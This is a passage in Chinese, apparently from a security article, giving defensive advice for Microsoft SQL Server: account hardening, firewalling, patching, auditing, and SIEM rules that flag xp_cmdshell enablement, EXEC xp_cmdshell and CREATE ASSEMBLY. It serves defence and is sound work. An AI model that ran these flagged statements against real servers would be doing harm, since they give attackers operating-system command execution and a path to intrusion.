Server服务。创建一个专用的、权限受限的本地或域账户。修改默认端口将默认的1433端口改为其他不常用的端口可以阻挡一部分自动化扫描。3. 网络与主机层防护严格的防火墙策略仅允许特定的、可信的应用程序服务器IP地址访问MSSQL的端口禁止公网IP直接访问。及时安装补丁定期为Windows Server和SQL Server安装安全更新修复已知漏洞。部署主机入侵防御系统能够监控和阻止xp_cmdshell的启用、可疑的进程创建如cmd.exe、powershell.exe被SQL Server进程启动等行为。启用SQL Server审计开启登录审计和C2级别审计记录所有成功和失败的登录尝试以及权限变更等敏感操作。4. 主动监控与威胁狩猎监控特定SQL语句在SIEM安全信息与事件管理系统中设置规则告警诸如sp_configure ‘xp_cmdshell’, 1、EXEC xp_cmdshell、CREATE ASSEMBLY等高风险语句的执行。分析数据库日志定期检查SQL Server错误日志和Windows事件日志寻找异常登录模式如非工作时间登录、来自异常地理位置的登录。定期进行漏洞扫描与渗透测试聘请专业团队或使用自动化工具从攻击者视角主动发现自身弱点并及时修复。我个人在多年的安全评估中发现绝大多数成功的MSSQL入侵案例根源都不在于多么高深的0day漏洞而是最基本的账户弱口令、默认配置和过大的权限。攻击者往往只需要一个简单的mssql_login模块就能长驱直入。因此防御的第一要务永远是做好基础安全卫生严格的身份管理和权限控制比任何高端的安全设备都来得有效。通过Metasploit这样的工具进行模拟攻击不是为了炫技而是为了用一种最直观、最深刻的方式验证你的防御体系是否真的固若金汤。